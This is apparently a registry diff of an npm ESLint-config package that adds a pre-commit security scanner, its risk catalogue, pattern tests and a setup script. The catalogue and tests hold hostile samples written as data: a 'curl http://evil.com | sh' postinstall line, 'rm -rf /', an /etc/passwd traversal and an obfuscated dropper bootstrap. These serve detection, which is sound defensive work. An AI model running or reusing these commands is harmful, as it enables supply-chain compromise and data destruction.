@archpublicwebsite/eslint-config 1.0.20 → 1.0.22
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +10 -0
- package/commitlint.config.cjs +31 -0
- package/eslint.config.mjs +54 -31
- package/lint-staged.config.mjs +6 -0
- package/package.json +7 -1
- package/prettier.config.mjs +11 -0
- package/tools/git-hooks/pre-commit.mjs +8 -4
- package/tools/git-hooks/pre-push.mjs +60 -40
- package/tools/security/patterns.mjs +79 -27
- package/tools/security/risks.mjs +34 -34
- package/tools/security/scan.mjs +23 -21
- package/tools/security/scanner.mjs +18 -17
- package/tools/security/test-patterns.mjs +13 -16
- package/tools/setup/install.mjs +87 -41
- package/tools/setup/vscode.mjs +44 -21
package/tools/security/risks.mjs
CHANGED
|
@@ -25,10 +25,10 @@
|
|
|
25
25
|
*/
|
|
26
26
|
export const SEVERITY_SCORE = {
|
|
27
27
|
critical: 4, // CVSS 9.0 – 10.0 → block commit AND push
|
|
28
|
-
high:
|
|
29
|
-
medium:
|
|
30
|
-
low:
|
|
31
|
-
info:
|
|
28
|
+
high: 3, // CVSS 7.0 – 8.9 → block commit AND push
|
|
29
|
+
medium: 2, // CVSS 4.0 – 6.9 → warn; never blocks by default
|
|
30
|
+
low: 1, // CVSS 0.1 – 3.9 → info only
|
|
31
|
+
info: 0, // Informational → no action required
|
|
32
32
|
}
|
|
33
33
|
|
|
34
34
|
/**
|
|
@@ -63,8 +63,8 @@ export const RISK_CATEGORIES = [
|
|
|
63
63
|
owasp: 'A03:2021 – Injection',
|
|
64
64
|
atlas: ['AML.T0051 – LLM Prompt Injection', 'AML.T0010 – ML Supply Chain Compromise'],
|
|
65
65
|
description:
|
|
66
|
-
'Code that allows an attacker to execute arbitrary instructions on the host machine. '
|
|
67
|
-
|
|
66
|
+
'Code that allows an attacker to execute arbitrary instructions on the host machine. ' +
|
|
67
|
+
'Vectors include eval(), new Function(), child_process.exec(), and dynamic require().',
|
|
68
68
|
severity: 'critical',
|
|
69
69
|
examples: ['eval(userInput)', 'new Function(str)()', "exec('rm -rf /')"],
|
|
70
70
|
},
|
|
@@ -76,9 +76,9 @@ export const RISK_CATEGORIES = [
|
|
|
76
76
|
owasp: 'A08:2021 – Software and Data Integrity Failures',
|
|
77
77
|
atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
|
|
78
78
|
description:
|
|
79
|
-
'Base64, hex-encoding, or shuffle-cipher patterns used to conceal malicious payloads '
|
|
80
|
-
|
|
81
|
-
|
|
79
|
+
'Base64, hex-encoding, or shuffle-cipher patterns used to conceal malicious payloads ' +
|
|
80
|
+
'from static analysis. Characteristic of supply-chain dropper attacks (event-stream, ' +
|
|
81
|
+
'ua-parser-js, polyfill.io).',
|
|
82
82
|
severity: 'high',
|
|
83
83
|
examples: ["Buffer.from('abc', 'base64')", 'String.fromCharCode(104,101,...)', '_$_1e42[0]'],
|
|
84
84
|
},
|
|
@@ -90,11 +90,11 @@ export const RISK_CATEGORIES = [
|
|
|
90
90
|
owasp: 'A03:2021 – Injection',
|
|
91
91
|
atlas: [],
|
|
92
92
|
description:
|
|
93
|
-
'Modification of Object.prototype or constructor.prototype allows an attacker to '
|
|
94
|
-
|
|
95
|
-
|
|
93
|
+
'Modification of Object.prototype or constructor.prototype allows an attacker to ' +
|
|
94
|
+
'inject properties onto every object in the runtime, which can escalate to RCE ' +
|
|
95
|
+
'in some server-side Node.js frameworks.',
|
|
96
96
|
severity: 'high',
|
|
97
|
-
examples: [
|
|
97
|
+
examples: ['obj.__proto__ = {admin: true}', "Object.prototype['x'] = fn"],
|
|
98
98
|
},
|
|
99
99
|
|
|
100
100
|
// ── A4: XSS / DOM injection ────────────────────────────────────────────────
|
|
@@ -104,9 +104,9 @@ export const RISK_CATEGORIES = [
|
|
|
104
104
|
owasp: 'A03:2021 – Injection',
|
|
105
105
|
atlas: [],
|
|
106
106
|
description:
|
|
107
|
-
'Unsanitised content written to the DOM via innerHTML, outerHTML, document.write(), '
|
|
108
|
-
|
|
109
|
-
|
|
107
|
+
'Unsanitised content written to the DOM via innerHTML, outerHTML, document.write(), ' +
|
|
108
|
+
'insertAdjacentHTML(), or Vue v-html allows attackers to execute scripts in the ' +
|
|
109
|
+
"victim's browser context.",
|
|
110
110
|
severity: 'high',
|
|
111
111
|
examples: ['el.innerHTML = userInput', 'document.write(data)', '<div v-html="content">'],
|
|
112
112
|
},
|
|
@@ -118,9 +118,9 @@ export const RISK_CATEGORIES = [
|
|
|
118
118
|
owasp: 'A02:2021 – Cryptographic Failures',
|
|
119
119
|
atlas: [],
|
|
120
120
|
description:
|
|
121
|
-
'API keys, tokens, passwords, or private keys committed to source code. '
|
|
122
|
-
|
|
123
|
-
|
|
121
|
+
'API keys, tokens, passwords, or private keys committed to source code. ' +
|
|
122
|
+
'Exposed secrets are frequently scraped from public repositories by automated bots ' +
|
|
123
|
+
'within minutes of exposure.',
|
|
124
124
|
severity: 'critical',
|
|
125
125
|
examples: ['const API_KEY = "sk-..."', 'password: "hunter2"', 'PRIVATE_KEY = "-----BEGIN RSA"'],
|
|
126
126
|
},
|
|
@@ -132,9 +132,9 @@ export const RISK_CATEGORIES = [
|
|
|
132
132
|
owasp: 'A08:2021 – Software and Data Integrity Failures',
|
|
133
133
|
atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
|
|
134
134
|
description:
|
|
135
|
-
'Malicious code injected via npm package install scripts (preinstall/postinstall), '
|
|
136
|
-
|
|
137
|
-
|
|
135
|
+
'Malicious code injected via npm package install scripts (preinstall/postinstall), ' +
|
|
136
|
+
'typosquatted package names, or compromised transitive dependencies. ' +
|
|
137
|
+
'Covers curl/wget downloads, base64 exec, and credential theft at install time.',
|
|
138
138
|
severity: 'critical',
|
|
139
139
|
examples: ['postinstall: "curl http://evil.com | sh"', 'require("logify-utils") // typosquat'],
|
|
140
140
|
},
|
|
@@ -146,9 +146,9 @@ export const RISK_CATEGORIES = [
|
|
|
146
146
|
owasp: 'A01:2021 – Broken Access Control',
|
|
147
147
|
atlas: [],
|
|
148
148
|
description:
|
|
149
|
-
'User-controlled input used in file-system operations without sanitisation. '
|
|
150
|
-
|
|
151
|
-
|
|
149
|
+
'User-controlled input used in file-system operations without sanitisation. ' +
|
|
150
|
+
'Allows attackers to read, write, or delete files outside the intended directory ' +
|
|
151
|
+
"(e.g., reading /etc/passwd via '../../etc/passwd').",
|
|
152
152
|
severity: 'high',
|
|
153
153
|
examples: ['fs.readFile(req.params.file)', "path.join(base, '../../../etc/passwd')"],
|
|
154
154
|
},
|
|
@@ -160,9 +160,9 @@ export const RISK_CATEGORIES = [
|
|
|
160
160
|
owasp: 'A10:2021 – Server-Side Request Forgery',
|
|
161
161
|
atlas: [],
|
|
162
162
|
description:
|
|
163
|
-
'Outbound HTTP requests made with a URL derived from user input, allowing attackers '
|
|
164
|
-
|
|
165
|
-
|
|
163
|
+
'Outbound HTTP requests made with a URL derived from user input, allowing attackers ' +
|
|
164
|
+
'to probe internal services, cloud metadata APIs (169.254.169.254), or other ' +
|
|
165
|
+
'resources not directly accessible from the internet.',
|
|
166
166
|
severity: 'high',
|
|
167
167
|
examples: ['fetch(req.body.url)', 'axios.get(userSuppliedUrl)'],
|
|
168
168
|
},
|
|
@@ -174,9 +174,9 @@ export const RISK_CATEGORIES = [
|
|
|
174
174
|
owasp: 'A06:2021 – Vulnerable and Outdated Components',
|
|
175
175
|
atlas: [],
|
|
176
176
|
description:
|
|
177
|
-
'Pathological regular expressions with nested quantifiers on overlapping character '
|
|
178
|
-
|
|
179
|
-
|
|
177
|
+
'Pathological regular expressions with nested quantifiers on overlapping character ' +
|
|
178
|
+
'classes cause catastrophic backtracking, making the Node.js event loop unresponsive. ' +
|
|
179
|
+
'User-controlled input matched against such patterns is a DoS vector.',
|
|
180
180
|
severity: 'medium',
|
|
181
181
|
examples: ['/(a+)+$/', '/([a-zA-Z]+)*/', '/(a|aa)+$/'],
|
|
182
182
|
},
|
|
@@ -188,9 +188,9 @@ export const RISK_CATEGORIES = [
|
|
|
188
188
|
owasp: 'A08:2021 – Software and Data Integrity Failures',
|
|
189
189
|
atlas: ['AML.T0024 – Exfiltration via ML Inference API'],
|
|
190
190
|
description:
|
|
191
|
-
'Network modules (http, https, dns, net) or child_process imported inside Tailwind, '
|
|
192
|
-
|
|
193
|
-
|
|
191
|
+
'Network modules (http, https, dns, net) or child_process imported inside Tailwind, ' +
|
|
192
|
+
'Vite, PostCSS, or ESLint config files. Build tools are executed with elevated ' +
|
|
193
|
+
'privileges and full file-system access — making them a prime exfiltration vector.',
|
|
194
194
|
severity: 'critical',
|
|
195
195
|
examples: ["import https from 'node:https' // in tailwind.config.ts"],
|
|
196
196
|
},
|
package/tools/security/scan.mjs
CHANGED
|
@@ -44,11 +44,7 @@ import {
|
|
|
44
44
|
printSupplyFinding,
|
|
45
45
|
shouldSkip,
|
|
46
46
|
} from './scanner.mjs'
|
|
47
|
-
import {
|
|
48
|
-
getRepoRoot,
|
|
49
|
-
getStagedNameStatus,
|
|
50
|
-
runSafe,
|
|
51
|
-
} from '../git-hooks/shared.mjs'
|
|
47
|
+
import { getRepoRoot, getStagedNameStatus, runSafe } from '../git-hooks/shared.mjs'
|
|
52
48
|
|
|
53
49
|
// ─── Read staged file content ──────────────────────────────────────────────────
|
|
54
50
|
|
|
@@ -70,8 +66,8 @@ function readStagedContent(filePath) {
|
|
|
70
66
|
*/
|
|
71
67
|
function scanStagedFiles() {
|
|
72
68
|
const staged = getStagedNameStatus()
|
|
73
|
-
const toScan = staged.filter(
|
|
74
|
-
['A', 'M'].includes(status[0]) && SCAN_EXTENSIONS.has(extname(path))
|
|
69
|
+
const toScan = staged.filter(
|
|
70
|
+
({ status, path }) => ['A', 'M'].includes(status[0]) && SCAN_EXTENSIONS.has(extname(path))
|
|
75
71
|
)
|
|
76
72
|
if (toScan.length === 0) return []
|
|
77
73
|
|
|
@@ -81,7 +77,10 @@ function scanStagedFiles() {
|
|
|
81
77
|
let skipped = 0
|
|
82
78
|
|
|
83
79
|
for (const { path: filePath } of toScan) {
|
|
84
|
-
if (shouldSkip(filePath)) {
|
|
80
|
+
if (shouldSkip(filePath)) {
|
|
81
|
+
skipped++
|
|
82
|
+
continue
|
|
83
|
+
}
|
|
85
84
|
|
|
86
85
|
const content = readStagedContent(filePath)
|
|
87
86
|
if (!content) continue
|
|
@@ -91,7 +90,7 @@ function scanStagedFiles() {
|
|
|
91
90
|
|
|
92
91
|
findings.push(
|
|
93
92
|
...collectPatternFindings(lines, isConfig, filePath),
|
|
94
|
-
...collectObfuscatedLineFindings(lines, filePath)
|
|
93
|
+
...collectObfuscatedLineFindings(lines, filePath)
|
|
95
94
|
)
|
|
96
95
|
}
|
|
97
96
|
|
|
@@ -111,10 +110,9 @@ function scanStagedFiles() {
|
|
|
111
110
|
*/
|
|
112
111
|
function getNewlyAddedPackages() {
|
|
113
112
|
const staged = getStagedNameStatus()
|
|
114
|
-
const pkgFiles = staged.filter(
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
&& !path.includes('node_modules'),
|
|
113
|
+
const pkgFiles = staged.filter(
|
|
114
|
+
({ status, path }) =>
|
|
115
|
+
['A', 'M'].includes(status[0]) && path.endsWith('package.json') && !path.includes('node_modules')
|
|
118
116
|
)
|
|
119
117
|
if (pkgFiles.length === 0) return []
|
|
120
118
|
|
|
@@ -131,8 +129,9 @@ function getNewlyAddedPackages() {
|
|
|
131
129
|
}
|
|
132
130
|
}
|
|
133
131
|
return all
|
|
132
|
+
} catch {
|
|
133
|
+
return new Set()
|
|
134
134
|
}
|
|
135
|
-
catch { return new Set() }
|
|
136
135
|
}
|
|
137
136
|
|
|
138
137
|
const added = new Set()
|
|
@@ -156,8 +155,11 @@ function checkInstallScripts(pkgName, repoRoot) {
|
|
|
156
155
|
if (!existsSync(pkgJsonPath)) return []
|
|
157
156
|
|
|
158
157
|
let pkg
|
|
159
|
-
try {
|
|
160
|
-
|
|
158
|
+
try {
|
|
159
|
+
pkg = JSON.parse(readFileSync(pkgJsonPath, 'utf8'))
|
|
160
|
+
} catch {
|
|
161
|
+
return []
|
|
162
|
+
}
|
|
161
163
|
|
|
162
164
|
const findings = []
|
|
163
165
|
for (const scriptName of ['preinstall', 'install', 'postinstall']) {
|
|
@@ -199,7 +201,7 @@ function scanNewDependencies(repoRoot) {
|
|
|
199
201
|
|
|
200
202
|
process.stdout.write(`\nSupply-chain scan: ${newPkgs.length} newly added package(s)...\n`)
|
|
201
203
|
|
|
202
|
-
return newPkgs.flatMap(
|
|
204
|
+
return newPkgs.flatMap(pkgName => {
|
|
203
205
|
const findings = []
|
|
204
206
|
const similar = detectTyposquat(pkgName)
|
|
205
207
|
if (similar) {
|
|
@@ -220,7 +222,7 @@ function scanNewDependencies(repoRoot) {
|
|
|
220
222
|
function runAudit(repoRoot) {
|
|
221
223
|
if (process.env.SECURITY_AUDIT !== '1') return
|
|
222
224
|
|
|
223
|
-
process.stdout.write(
|
|
225
|
+
process.stdout.write('\nRunning pnpm audit (SECURITY_AUDIT=1)...\n')
|
|
224
226
|
const result = runSafe('pnpm audit --audit-level=high 2>&1')
|
|
225
227
|
if (result) process.stdout.write(`${DIM}${result}${R}\n`)
|
|
226
228
|
}
|
|
@@ -230,8 +232,8 @@ function runAudit(repoRoot) {
|
|
|
230
232
|
function main() {
|
|
231
233
|
if (process.env.SKIP_SECURITY_SCAN === '1') {
|
|
232
234
|
process.stderr.write(
|
|
233
|
-
`\n${YLW}${BOLD}⚠ SKIP_SECURITY_SCAN=1 — all security checks bypassed.${R}\n`
|
|
234
|
-
|
|
235
|
+
`\n${YLW}${BOLD}⚠ SKIP_SECURITY_SCAN=1 — all security checks bypassed.${R}\n` +
|
|
236
|
+
`${YLW} This bypass is intentional and has been logged.${R}\n\n`
|
|
235
237
|
)
|
|
236
238
|
return
|
|
237
239
|
}
|
|
@@ -240,7 +242,7 @@ function main() {
|
|
|
240
242
|
|
|
241
243
|
printScanHeader('@archipelago/security-scan', 'socket.dev-style pre-commit guard')
|
|
242
244
|
|
|
243
|
-
const fileFindings
|
|
245
|
+
const fileFindings = scanStagedFiles()
|
|
244
246
|
const supplyFindings = scanNewDependencies(repoRoot)
|
|
245
247
|
|
|
246
248
|
runAudit(repoRoot)
|
|
@@ -13,24 +13,28 @@ import { CONFIG_FILE_PATTERNS, FILE_PATTERNS, POPULAR_PACKAGES } from './pattern
|
|
|
13
13
|
|
|
14
14
|
// ─── ANSI colours ──────────────────────────────────────────────────────────────
|
|
15
15
|
|
|
16
|
-
export const R
|
|
17
|
-
export const RED
|
|
18
|
-
export const YLW
|
|
19
|
-
export const CYN
|
|
20
|
-
export const GRN
|
|
16
|
+
export const R = '\x1b[0m'
|
|
17
|
+
export const RED = '\x1b[31m'
|
|
18
|
+
export const YLW = '\x1b[33m'
|
|
19
|
+
export const CYN = '\x1b[36m'
|
|
20
|
+
export const GRN = '\x1b[32m'
|
|
21
21
|
export const BOLD = '\x1b[1m'
|
|
22
|
-
export const DIM
|
|
23
|
-
export const HR
|
|
22
|
+
export const DIM = '\x1b[2m'
|
|
23
|
+
export const HR = `\x1b[2m${'─'.repeat(62)}\x1b[0m`
|
|
24
24
|
|
|
25
25
|
// ─── Severity badge ────────────────────────────────────────────────────────────
|
|
26
26
|
|
|
27
27
|
/** @param {'critical'|'high'|'medium'|'low'} severity */
|
|
28
28
|
export function badge(severity) {
|
|
29
29
|
switch (severity) {
|
|
30
|
-
case 'critical':
|
|
31
|
-
|
|
32
|
-
case '
|
|
33
|
-
|
|
30
|
+
case 'critical':
|
|
31
|
+
return `${RED}${BOLD}[CRITICAL]${R}`
|
|
32
|
+
case 'high':
|
|
33
|
+
return `${RED}[HIGH] ${R}`
|
|
34
|
+
case 'medium':
|
|
35
|
+
return `${YLW}[MEDIUM] ${R}`
|
|
36
|
+
default:
|
|
37
|
+
return `${CYN}[LOW] ${R}`
|
|
34
38
|
}
|
|
35
39
|
}
|
|
36
40
|
|
|
@@ -43,6 +47,7 @@ export function badge(severity) {
|
|
|
43
47
|
*/
|
|
44
48
|
export const SELF_REFERENTIAL_SCAN_EXCLUSIONS = [
|
|
45
49
|
'packages/eslint-config/eslint.config.mjs',
|
|
50
|
+
'packages/eslint-config/tools/git-hooks/pre-commit.mjs',
|
|
46
51
|
'packages/eslint-config/tools/git-hooks/pre-push.mjs',
|
|
47
52
|
'packages/eslint-config/tools/security/patterns.mjs',
|
|
48
53
|
'packages/eslint-config/tools/security/risks.mjs',
|
|
@@ -142,9 +147,7 @@ export function levenshtein(a, b) {
|
|
|
142
147
|
for (let j = 0; j <= b.length; j++) dp[0][j] = j
|
|
143
148
|
for (let i = 1; i <= a.length; i++) {
|
|
144
149
|
for (let j = 1; j <= b.length; j++) {
|
|
145
|
-
dp[i][j] = a[i - 1] === b[j - 1]
|
|
146
|
-
? dp[i - 1][j - 1]
|
|
147
|
-
: 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1])
|
|
150
|
+
dp[i][j] = a[i - 1] === b[j - 1] ? dp[i - 1][j - 1] : 1 + Math.min(dp[i - 1][j], dp[i][j - 1], dp[i - 1][j - 1])
|
|
148
151
|
}
|
|
149
152
|
}
|
|
150
153
|
return dp[a.length][b.length]
|
|
@@ -217,9 +220,7 @@ export function printScanHeader(title, subtitle) {
|
|
|
217
220
|
export function printScanFooter(blocking, warnings, blockMessage, bypassHint) {
|
|
218
221
|
console.log(`\n${HR}`)
|
|
219
222
|
if (blocking.length === 0) {
|
|
220
|
-
const warnNote = warnings.length > 0
|
|
221
|
-
? ` ${DIM}(${warnings.length} warning(s) — review recommended)${R}`
|
|
222
|
-
: ''
|
|
223
|
+
const warnNote = warnings.length > 0 ? ` ${DIM}(${warnings.length} warning(s) — review recommended)${R}` : ''
|
|
223
224
|
console.log(` ${GRN}${BOLD}✔ Security scan passed${R}${warnNote}`)
|
|
224
225
|
console.log(HR)
|
|
225
226
|
console.log()
|
|
@@ -21,34 +21,34 @@ const testCases = [
|
|
|
21
21
|
{
|
|
22
22
|
label: 'Dropper — global require hijack',
|
|
23
23
|
expectedId: 'require-global-hijack',
|
|
24
|
-
line:
|
|
24
|
+
line: 'global[_$_1e42[0]]= require;',
|
|
25
25
|
},
|
|
26
26
|
{
|
|
27
27
|
label: 'Dropper — global bracket assignment via decoded array',
|
|
28
28
|
expectedId: 'global-bracket-assignment',
|
|
29
|
-
line:
|
|
29
|
+
line: 'global[_$_1e42[2]]= module',
|
|
30
30
|
},
|
|
31
31
|
{
|
|
32
32
|
label: 'Dropper — obfuscated _$_ variable names',
|
|
33
33
|
expectedId: 'obfuscated-variable-names',
|
|
34
|
-
line:
|
|
34
|
+
line: 'var _$_1e42=(function(l,e){var h=l.length;var g=[];',
|
|
35
35
|
},
|
|
36
36
|
{
|
|
37
37
|
label: 'Dropper — shuffle-cipher IIFE bootstrap',
|
|
38
38
|
expectedId: 'shuffle-cipher-iife',
|
|
39
|
-
line:
|
|
39
|
+
line: 'var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j<h;j++){g[j]=l.charAt(j)};for(var j=0;j<h;j++){var s=e*(j+489)+(e%19597);var w=e*(j+659)+(e%48014);var t=s%h;var p=w%h;var y=g[t];g[t]=g[p];g[p]=y;e=(s+w)%4573868};return g.join(\'\')})("rmcej%otb%",2857687)',
|
|
40
40
|
},
|
|
41
41
|
{
|
|
42
42
|
label: 'Dropper — array-based Function call chain (final execution)',
|
|
43
43
|
expectedId: 'array-fn-call-chain',
|
|
44
|
-
line:
|
|
44
|
+
line: 'var Tgw=jFD(LQI,pYd );Tgw(2509);',
|
|
45
45
|
},
|
|
46
46
|
|
|
47
47
|
// ── Classic attack patterns ───────────────────────────────────────────────
|
|
48
48
|
{
|
|
49
49
|
label: 'eval() call',
|
|
50
50
|
expectedId: 'no-eval',
|
|
51
|
-
line:
|
|
51
|
+
line: 'const x = eval(someVar)',
|
|
52
52
|
},
|
|
53
53
|
{
|
|
54
54
|
label: 'new Function() call',
|
|
@@ -58,22 +58,22 @@ const testCases = [
|
|
|
58
58
|
{
|
|
59
59
|
label: 'Buffer base64 decode',
|
|
60
60
|
expectedId: 'base64-decode',
|
|
61
|
-
line:
|
|
61
|
+
line: "const payload = Buffer.from('abc123', 'base64').toString()",
|
|
62
62
|
},
|
|
63
63
|
{
|
|
64
64
|
label: 'String.fromCharCode obfuscation',
|
|
65
65
|
expectedId: 'charcode-obfuscation',
|
|
66
|
-
line:
|
|
66
|
+
line: 'const s = String.fromCharCode(104, 101, 108, 108, 111, 32, 119, 111, 114)',
|
|
67
67
|
},
|
|
68
68
|
{
|
|
69
69
|
label: 'Hex-escaped string payload',
|
|
70
70
|
expectedId: 'hex-string-obfuscation',
|
|
71
|
-
line:
|
|
71
|
+
line: "const k='\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x68\\x65\\x6c\\x6c\\x6f\\x77\\x6f\\x72\\x6c\\x64\\x20\\x68'",
|
|
72
72
|
},
|
|
73
73
|
{
|
|
74
74
|
label: 'Prototype pollution',
|
|
75
75
|
expectedId: 'prototype-pollution',
|
|
76
|
-
line:
|
|
76
|
+
line: 'obj.__proto__ = { admin: true }',
|
|
77
77
|
},
|
|
78
78
|
{
|
|
79
79
|
label: 'child_process in config',
|
|
@@ -97,14 +97,11 @@ for (const tc of testCases) {
|
|
|
97
97
|
console.log(`${GRN}✔${R} ${tc.label}`)
|
|
98
98
|
console.log(` ${YLW}→ [${hit.severity.toUpperCase()}] ${hit.id}${R}`)
|
|
99
99
|
passed++
|
|
100
|
-
}
|
|
101
|
-
else {
|
|
100
|
+
} else {
|
|
102
101
|
console.log(`${RED}${BOLD}✖ ${tc.label}${R}`)
|
|
103
102
|
console.log(` Expected pattern id: ${tc.expectedId}`)
|
|
104
|
-
if (matched.length > 0)
|
|
105
|
-
|
|
106
|
-
else
|
|
107
|
-
console.log(` (no patterns matched this line)`)
|
|
103
|
+
if (matched.length > 0) console.log(` (other matches: ${matched.map(p => p.id).join(', ')})`)
|
|
104
|
+
else console.log(' (no patterns matched this line)')
|
|
108
105
|
failed++
|
|
109
106
|
}
|
|
110
107
|
}
|
package/tools/setup/install.mjs
CHANGED
|
@@ -13,19 +13,16 @@ function log(msg) {
|
|
|
13
13
|
|
|
14
14
|
function getProjectRoot() {
|
|
15
15
|
const root = process.env.INIT_CWD || process.cwd()
|
|
16
|
-
if (!existsSync(join(root, 'package.json')))
|
|
17
|
-
return null
|
|
16
|
+
if (!existsSync(join(root, 'package.json'))) return null
|
|
18
17
|
return root
|
|
19
18
|
}
|
|
20
19
|
|
|
21
20
|
function ensureDir(dirPath) {
|
|
22
|
-
if (!existsSync(dirPath))
|
|
23
|
-
mkdirSync(dirPath, { recursive: true })
|
|
21
|
+
if (!existsSync(dirPath)) mkdirSync(dirPath, { recursive: true })
|
|
24
22
|
}
|
|
25
23
|
|
|
26
24
|
function writeIfMissing(filePath, content) {
|
|
27
|
-
if (existsSync(filePath))
|
|
28
|
-
return false
|
|
25
|
+
if (existsSync(filePath)) return false
|
|
29
26
|
writeFileSync(filePath, content, 'utf8')
|
|
30
27
|
return true
|
|
31
28
|
}
|
|
@@ -56,8 +53,7 @@ indent_size = 2
|
|
|
56
53
|
[Makefile]
|
|
57
54
|
indent_style = tab
|
|
58
55
|
`
|
|
59
|
-
if (writeIfMissing(editorConfigPath, content))
|
|
60
|
-
log('Created .editorconfig')
|
|
56
|
+
if (writeIfMissing(editorConfigPath, content)) log('Created .editorconfig')
|
|
61
57
|
}
|
|
62
58
|
|
|
63
59
|
// ─── .eslint-user-ignore ────────────────────────────────────────────────────
|
|
@@ -80,8 +76,7 @@ function ensureEslintUserIgnore(projectRoot) {
|
|
|
80
76
|
# docs/**
|
|
81
77
|
# *.pdf
|
|
82
78
|
`
|
|
83
|
-
if (writeIfMissing(ignorePath, content))
|
|
84
|
-
log('Created .eslint-user-ignore')
|
|
79
|
+
if (writeIfMissing(ignorePath, content)) log('Created .eslint-user-ignore')
|
|
85
80
|
}
|
|
86
81
|
|
|
87
82
|
// ─── eslint.config.mjs ─────────────────────────────────────────────────────
|
|
@@ -97,13 +92,20 @@ export default createArchipelagoConfig({
|
|
|
97
92
|
},
|
|
98
93
|
})
|
|
99
94
|
`
|
|
100
|
-
if (writeIfMissing(eslintConfigPath, content))
|
|
101
|
-
log('Created eslint.config.mjs')
|
|
95
|
+
if (writeIfMissing(eslintConfigPath, content)) log('Created eslint.config.mjs')
|
|
102
96
|
}
|
|
103
97
|
|
|
104
98
|
// ─── .prettierrc ────────────────────────────────────────────────────────────
|
|
105
99
|
|
|
106
100
|
function ensurePrettierConfig(projectRoot) {
|
|
101
|
+
const prettierModuleConfigPath = join(projectRoot, 'prettier.config.mjs')
|
|
102
|
+
const prettierModuleConfigContent = `import config from '@archpublicwebsite/eslint-config/prettier'
|
|
103
|
+
|
|
104
|
+
export default config
|
|
105
|
+
`
|
|
106
|
+
|
|
107
|
+
if (writeIfMissing(prettierModuleConfigPath, prettierModuleConfigContent)) log('Created prettier.config.mjs')
|
|
108
|
+
|
|
107
109
|
const prettierPath = join(projectRoot, '.prettierrc')
|
|
108
110
|
const defaults = {
|
|
109
111
|
plugins: ['prettier-plugin-tailwindcss'],
|
|
@@ -126,18 +128,47 @@ function ensurePrettierConfig(projectRoot) {
|
|
|
126
128
|
const plugins = Array.isArray(current.plugins) ? current.plugins : []
|
|
127
129
|
const deduped = [...new Set([...plugins, 'prettier-plugin-tailwindcss'])]
|
|
128
130
|
current.plugins = deduped
|
|
129
|
-
if (typeof current.singleQuote !== 'boolean')
|
|
130
|
-
|
|
131
|
-
if (typeof current.semi !== 'boolean')
|
|
132
|
-
current.semi = false
|
|
131
|
+
if (typeof current.singleQuote !== 'boolean') current.singleQuote = true
|
|
132
|
+
if (typeof current.semi !== 'boolean') current.semi = false
|
|
133
133
|
writeFileSync(prettierPath, `${JSON.stringify(current, null, 2)}\n`, 'utf8')
|
|
134
134
|
log('Updated .prettierrc')
|
|
135
|
-
}
|
|
136
|
-
catch {
|
|
135
|
+
} catch {
|
|
137
136
|
// Keep existing file untouched if it is not JSON.
|
|
138
137
|
}
|
|
139
138
|
}
|
|
140
139
|
|
|
140
|
+
function ensureCommitlintConfig(projectRoot) {
|
|
141
|
+
const commitlintConfigPath = join(projectRoot, 'commitlint.config.cjs')
|
|
142
|
+
const content = `module.exports = require('@archpublicwebsite/eslint-config/commitlint')
|
|
143
|
+
`
|
|
144
|
+
if (writeIfMissing(commitlintConfigPath, content)) log('Created commitlint.config.cjs')
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
function ensureLintStagedConfig(projectRoot) {
|
|
148
|
+
const lintStagedConfigPath = join(projectRoot, 'lint-staged.config.mjs')
|
|
149
|
+
const content = `import config from '@archpublicwebsite/eslint-config/lint-staged'
|
|
150
|
+
|
|
151
|
+
export default config
|
|
152
|
+
`
|
|
153
|
+
if (writeIfMissing(lintStagedConfigPath, content)) log('Created lint-staged.config.mjs')
|
|
154
|
+
}
|
|
155
|
+
|
|
156
|
+
function ensurePrettierIgnore(projectRoot) {
|
|
157
|
+
const prettierIgnorePath = join(projectRoot, '.prettierignore')
|
|
158
|
+
const content = `node_modules
|
|
159
|
+
dist
|
|
160
|
+
coverage
|
|
161
|
+
.nuxt
|
|
162
|
+
.output
|
|
163
|
+
.next
|
|
164
|
+
.turbo
|
|
165
|
+
pnpm-lock.yaml
|
|
166
|
+
package-lock.json
|
|
167
|
+
yarn.lock
|
|
168
|
+
`
|
|
169
|
+
if (writeIfMissing(prettierIgnorePath, content)) log('Created .prettierignore')
|
|
170
|
+
}
|
|
171
|
+
|
|
141
172
|
// ─── .hooks ─────────────────────────────────────────────────────────────────
|
|
142
173
|
|
|
143
174
|
function ensureHooks(projectRoot) {
|
|
@@ -189,18 +220,15 @@ node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-push.mjs
|
|
|
189
220
|
created = true
|
|
190
221
|
}
|
|
191
222
|
})
|
|
192
|
-
if (created)
|
|
193
|
-
log('Created .hooks/ (pre-commit, prepare-commit-msg, commit-msg, post-commit, pre-push)')
|
|
223
|
+
if (created) log('Created .hooks/ (pre-commit, prepare-commit-msg, commit-msg, post-commit, pre-push)')
|
|
194
224
|
}
|
|
195
225
|
|
|
196
226
|
function ensureHooksPath(projectRoot) {
|
|
197
|
-
if (!existsSync(join(projectRoot, '.git')))
|
|
198
|
-
return
|
|
227
|
+
if (!existsSync(join(projectRoot, '.git'))) return
|
|
199
228
|
try {
|
|
200
229
|
execSync('git config core.hooksPath .hooks', { cwd: projectRoot, stdio: 'ignore' })
|
|
201
230
|
log('Set git core.hooksPath → .hooks')
|
|
202
|
-
}
|
|
203
|
-
catch {
|
|
231
|
+
} catch {
|
|
204
232
|
// Ignore setup failures in non-git contexts.
|
|
205
233
|
}
|
|
206
234
|
}
|
|
@@ -240,17 +268,22 @@ function ensurePackageScripts(projectRoot) {
|
|
|
240
268
|
let pkg
|
|
241
269
|
try {
|
|
242
270
|
pkg = JSON.parse(readFileSync(packageJsonPath, 'utf8'))
|
|
243
|
-
}
|
|
244
|
-
catch {
|
|
271
|
+
} catch {
|
|
245
272
|
return
|
|
246
273
|
}
|
|
247
274
|
|
|
248
275
|
const scripts = pkg.scripts && typeof pkg.scripts === 'object' ? pkg.scripts : {}
|
|
249
276
|
const desiredScripts = {
|
|
277
|
+
lint: 'eslint .',
|
|
278
|
+
'lint:fix': 'eslint . --fix',
|
|
279
|
